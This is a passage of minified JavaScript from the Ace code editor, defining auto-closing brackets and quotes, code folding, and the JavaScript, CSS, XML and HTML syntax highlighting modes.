null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return 